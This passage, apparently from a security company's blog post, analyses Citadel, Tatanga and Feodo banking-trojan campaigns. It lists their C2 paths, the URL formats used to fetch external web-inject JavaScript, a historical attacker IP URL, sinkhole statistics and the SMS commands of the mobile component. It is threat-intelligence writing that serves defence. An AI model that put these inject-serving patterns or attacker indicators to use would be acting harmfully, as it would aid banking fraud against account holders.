&lt;/td&gt;&lt;td style="border-bottom-color: rgb(247, 150, 70); border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: initial; border-left-style: none; border-left-width: initial; border-right-color: initial; border-right-style: none; border-right-width: initial; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 206.2pt;" valign="top" width="275"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;i&gt;&lt;span lang="EN-US" style="font-size: 9pt;"&gt;/sopelka1/file.php|file=citsp1.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;i&gt;&lt;span lang="EN-US" style="font-size: 9pt;"&gt;/sopelka1/file.php|file=sopelka1_config.bin&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-color: rgb(247, 150, 70); border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: initial; border-left-style: none; border-left-width: initial; border-right-color: rgb(247, 150, 70); border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 41.85pt;" valign="top" width="56"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span lang="EN-US" style="font-size: 9pt;"&gt;ES,DE,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span lang="EN-US" style="font-size: 9pt;"&gt;NL&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="border-bottom-style: none; border-color: initial; border-left-color: rgb(247, 150, 70); border-left-style: solid; border-left-width: 1pt; border-right-style: none; border-top-style: none; border-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 2cm;" valign="top" width="76"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;b&gt;&lt;span style="font-size: 9pt;"&gt;Sopelka2&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 51.15pt;" valign="top" width="68"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;01/05&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;30/05&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 55.2pt;" valign="top" width="74"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;Citadel&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;1.3.4.0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 206.2pt;" valign="top" width="275"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;i&gt;&lt;span lang="EN-US" style="font-size: 9pt;"&gt;/sopelka2/file.php|file=citsp2.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;i&gt;&lt;span lang="EN-US" style="font-size: 9pt;"&gt;/sopelka2/file.php|file=sopelka2_config.bin&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-color: rgb(247, 150, 70); border-right-style: solid; border-right-width: 1pt; border-top-style: none; border-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 41.85pt;" valign="top" width="56"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span lang="EN-US" style="font-size: 9pt;"&gt;ES&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr style="height: 40pt;"&gt;&lt;td style="border-bottom-color: rgb(247, 150, 70); border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(247, 150, 70); border-left-style: solid; border-left-width: 1pt; border-right-color: initial; border-right-style: none; border-right-width: initial; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; height: 40pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 2cm;" valign="top" width="76"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;b&gt;&lt;span style="font-size: 9pt;"&gt;Tatanga&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-color: rgb(247, 150, 70); border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: initial; border-left-style: none; border-left-width: initial; border-right-color: initial; border-right-style: none; border-right-width: initial; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; height: 40pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 51.15pt;" valign="top" width="68"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;15/06&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;15/07&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-color: rgb(247, 150, 70); border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: initial; border-left-style: none; border-left-width: initial; border-right-color: initial; border-right-style: none; border-right-width: initial; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; height: 40pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 55.2pt;" valign="top" width="74"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;Tatanga&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-color: rgb(247, 150, 70); border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: initial; border-left-style: none; border-left-width: initial; border-right-color: initial; border-right-style: none; border-right-width: initial; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; height: 40pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 206.2pt;" valign="top" width="275"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;i&gt;&lt;span style="font-size: 9pt;"&gt;/sec/g.php&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-color: rgb(247, 150, 70); border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: initial; border-left-style: none; border-left-width: initial; border-right-color: rgb(247, 150, 70); border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; height: 40pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 41.85pt;" valign="top" width="56"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;IT, ES,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;DE, NL&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr style="height: 36.4pt;"&gt;&lt;td style="border-bottom-style: none; border-color: initial; border-left-color: rgb(247, 150, 70); border-left-style: solid; border-left-width: 1pt; border-right-style: none; border-top-style: none; border-width: initial; height: 36.4pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 2cm;" valign="top" width="76"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;b&gt;&lt;span style="font-size: 9pt;"&gt;Feodo&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; height: 36.4pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 51.15pt;" valign="top" width="68"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;15/06&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;15/07&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; height: 36.4pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 55.2pt;" valign="top" width="74"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;Feodo&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; height: 36.4pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 206.2pt;" valign="top" width="275"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;i&gt;&lt;span lang="EN-US" style="font-size: 9pt;"&gt;/zb/v_01_a/in/cp.php&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-color: rgb(247, 150, 70); border-right-style: solid; border-right-width: 1pt; border-top-style: none; border-width: initial; height: 36.4pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 41.85pt;" valign="top" width="56"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;ES, NL,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;DE, IT&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="border-bottom-color: rgb(247, 150, 70); border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(247, 150, 70); border-left-style: solid; border-left-width: 1pt; border-right-color: initial; border-right-style: none; border-right-width: initial; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 2cm;" valign="top" width="76"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;b&gt;&lt;span style="font-size: 9pt;"&gt;Sopelka3&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-color: rgb(247, 150, 70); border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: initial; border-left-style: none; border-left-width: initial; border-right-color: initial; border-right-style: none; border-right-width: initial; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 51.15pt;" valign="top" width="68"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;15/08&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 12px;"&gt;27/09&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-color: rgb(247, 150, 70); border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: initial; border-left-style: none; border-left-width: initial; border-right-color: initial; border-right-style: none; border-right-width: initial; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 55.2pt;" valign="top" width="74"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span style="font-size: 9pt;"&gt;Citadel&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: 9pt;"&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style="font-size: 9pt;"&gt;1.3.4.5&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-color: rgb(247, 150, 70); border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: initial; border-left-style: none; border-left-width: initial; border-right-color: initial; border-right-style: none; border-right-width: initial; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 206.2pt;" valign="top" width="275"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;i&gt;&lt;span lang="EN-US" style="font-size: 9pt;"&gt;/sopelka3/file.php|file=citsp3.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;i&gt;&lt;span lang="EN-US" style="font-size: 9pt;"&gt;/sopelka3/file.php|file=sopelka3_config.bin&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style="border-bottom-color: rgb(247, 150, 70); border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: initial; border-left-style: none; border-left-width: initial; border-right-color: rgb(247, 150, 70); border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(247, 150, 70); border-top-style: solid; border-top-width: 1pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 41.85pt;" valign="top" width="56"&gt;&lt;div align="center" class="MsoNormal" style="color: #333333; font-family: Arial, sans-serif; font-size: 11pt; margin-bottom: 10pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt; text-align: center;"&gt;
&lt;span lang="EN-US" style="font-size: 9pt;"&gt;ES, DE&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span lang="EN-US" style="font-size: 9pt;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
The HTML injects included only the code necessary to reference JavaScript code located on an external server. The server kept at least one file for each entity, in some cases two or three. In this way, the criminals could modify content and injects to their hearts desire without needing to create and distribute a new configuration file for each of their bots.&amp;nbsp;Furthermore, the injection file was not found in an accessible file, as in the following example:&lt;/div&gt;
&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;i&gt;&lt;span style="color: #073763;"&gt;https://domain.com/dir/inject.js&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Instead, they made use of a PHP file to control and serve the JavaScript code with a URL in the following format:&lt;/div&gt;
&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;i&gt;&lt;span style="color: #073763;"&gt;https://domain.com/dir/get.php/campaignDir/?name=inject.js&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
The relationship between the use of Tatanga, Feodo and Citadel by the same group of cybercriminals was made because in all configuration files the same URL format could be identified to obtain the external code, using the same path and the file &lt;i&gt;get.php&lt;/i&gt;. In fact, all of them were sending the banking credentials to the same panel, a different panel than the specific for each trojan. This control panel stored only banking credentials.&lt;br /&gt;
&lt;br /&gt;
Finally, the&amp;nbsp;&lt;i&gt;"tatangakatanga" &lt;/i&gt;string was found in Citadel configs and&amp;nbsp;another kind of URL was detected that could be used to retrieve external JavaScript and has been related to Tatanga since the start:&lt;/div&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;br /&gt;
&lt;i&gt;&lt;span style="color: #073763;"&gt;https://domain.com/dir/x.php?cmdid=8&amp;amp;gettype=js&amp;amp;id=inyeccion.js&amp;amp;uid=0000&lt;/span&gt;&lt;/i&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-PUZ_VsBbi-A/UH7cZWIP9tI/AAAAAAAABbY/JL2W2PJbU-k/s1600/tatanga_strings.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="281" src="http://2.bp.blogspot.com/-PUZ_VsBbi-A/UH7cZWIP9tI/AAAAAAAABbY/JL2W2PJbU-k/s400/tatanga_strings.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
&lt;a href="http://securityblog.s21sec.com/2011/02/tatanga-new-banking-trojan-with-mitb.html"&gt;When the Tatanga trojan emerged&lt;/a&gt;, it used a URL with a similar format that contained the word &lt;i&gt;“tatangakatanga”&lt;/i&gt;, which was where the name of this new banking malicious code came from:&lt;/div&gt;
&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;i&gt;&lt;span style="color: #073763;"&gt;https://212.124.110.18:444/tatangakatanga/x.php?gettype=image&amp;amp;id=loaderfid.gif&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Security investigators from &lt;i&gt;Shadowserver&lt;/i&gt; and &lt;i&gt;Abuse.ch&lt;/i&gt; made a sinkhole of some of the specified Citadel domains (&lt;i&gt;autumn.kz, wet.kz, advia.kz&lt;/i&gt;), distributing the following statistics about requests that arrived from the infected machines to this investigation:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-cUGH_uIzbl0/UH7Fg1c28vI/AAAAAAAABYQ/7oCWyyKzh3E/s1600/stats.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="262" src="http://4.bp.blogspot.com/-cUGH_uIzbl0/UH7Fg1c28vI/AAAAAAAABYQ/7oCWyyKzh3E/s400/stats.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-cm7Pg1T7-9s/UH7dd8MM1bI/AAAAAAAABbg/EOEp3INRm-Q/s1600/stats2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="275" src="http://1.bp.blogspot.com/-cm7Pg1T7-9s/UH7dd8MM1bI/AAAAAAAABbg/EOEp3INRm-Q/s400/stats2.PNG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
These graphs show the exact affectation of only German and Spanish users, where on average the group of infected German users was more numerous than the Spanish (almost 60% of Germans in contrast to 38% of Spanish). Besides these two outstanding (by the number of connections) groupings, there were others with a much reduced number, such as those that were formed by connections from Switzerland (2%), Portugal (1%) and Italy (almost 0%). Connections with an origin in the United States, Holland, the United Kingdom, Hong Kong and other countries were almost negligible.&lt;br /&gt;
&lt;br /&gt;
In order to get an idea of the botnet size, during the week when data were collected there were more than 16,000 unique IPs connecting to the sinkhole (taking into account that these IPs were not filtered: NAT, researchers, etc.).&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Talking about the mobile components used, in the first campaigns only Android and BlackBerry applications were downloaded, even, in some cases, messages were only sent if the operating system was Android. In contrast, in the latest detected campaign, Symbian had been added to the list of supported operating systems.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-ILfz2zexoew/UH7ZZLLSTfI/AAAAAAAABa4/LkWVFA4SdLo/s1600/certificado_sis_cert.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="277" src="http://2.bp.blogspot.com/-ILfz2zexoew/UH7ZZLLSTfI/AAAAAAAABa4/LkWVFA4SdLo/s400/certificado_sis_cert.PNG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;
The functionality of the application was the same, independent of the target operating system. It was a classic mobile component with the same characteristics &lt;a href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-i.html"&gt;that were detected for the first time by S21sec back in September 2010&lt;/a&gt;. The aim of the application was to forward messages that arrived at the target telephone. It was able to be administrated through sending SMSs and required no communication by HTTP as in the latest .apk’s.&lt;br /&gt;
&lt;br /&gt;
The list of commands was much reduced from the first versions, it only included these three commands (&lt;a href="http://www.securelist.com/en/blog/208193760/New_ZitMo_for_Android_and_Blackberry"&gt;already mentioned by Kaspersky some months ago&lt;/a&gt;):&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li style="text-align: justify;"&gt;&lt;i&gt;"on"&lt;/i&gt;: the command used to start monitoring and the resending of messages. If the command ended correctly it was sending a message with the word &lt;i&gt;“ONOK”&lt;/i&gt; to the number specified as “admin”.&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li style="text-align: justify;"&gt;&lt;i&gt;"off"&lt;/i&gt;: used to perform the opposite function to the previous command, that is, stop monitoring and forwarding the messages that arrived at the mobile device. If all went well it was sending a message with the word &lt;i&gt;“OFOK”&lt;/i&gt; to the selected number.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li style="text-align: justify;"&gt;&lt;i&gt;"set admin"&lt;/i&gt;: served to change the administrator telephone, where the commands were received and to which the text messages from the infected terminal were forwarded. If there was no error from performing this action, it was sending&amp;nbsp;&lt;i&gt;“SAOK”&lt;/i&gt; to the chosen number.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style="text-align: justify;"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
